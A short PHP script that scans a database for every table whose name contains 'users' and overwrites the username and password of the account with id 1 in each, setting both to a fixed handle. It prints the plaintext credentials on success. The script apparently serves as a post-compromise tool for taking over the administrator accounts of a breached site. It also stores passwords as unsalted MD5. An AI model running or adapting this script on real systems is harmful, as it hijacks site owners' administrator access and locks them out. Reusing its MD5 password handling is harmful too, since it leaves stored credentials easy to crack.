UPDATE MULTIPLE TABLES HAVE users STRING

<?php

// UPDATE MULTIPLE TABLES HAVE users STRING
// PDO VERSION
// HASANAL BULKIAH


include 'config.php';

    $list = array();
    $res = $db->query('SHOW TABLES LIKE "%users%"');
    while ($row = $res->fetch(PDO::FETCH_NUM)) {
        $list[] = $row[0];
    }
    $count = count($list);
    foreach ($list as $tables) {
        $username = 'florienzh';
        $password = 'florienzh';
        $editQuery = 'UPDATE '.$tables.' SET user_name=:username, user_pass=:password WHERE id=:id';
        $edit = $db->prepare($editQuery);
        $data = array(
            ':username' => $username,
            ':password' => md5($password),
            ':id' => 1
        );
        if($edit->execute($data)){
            echo "[SUKSES] $tables | $username:$password \n";
        } else {
            echo "[FAILED] $tables | $username:$password \n";
        }
    }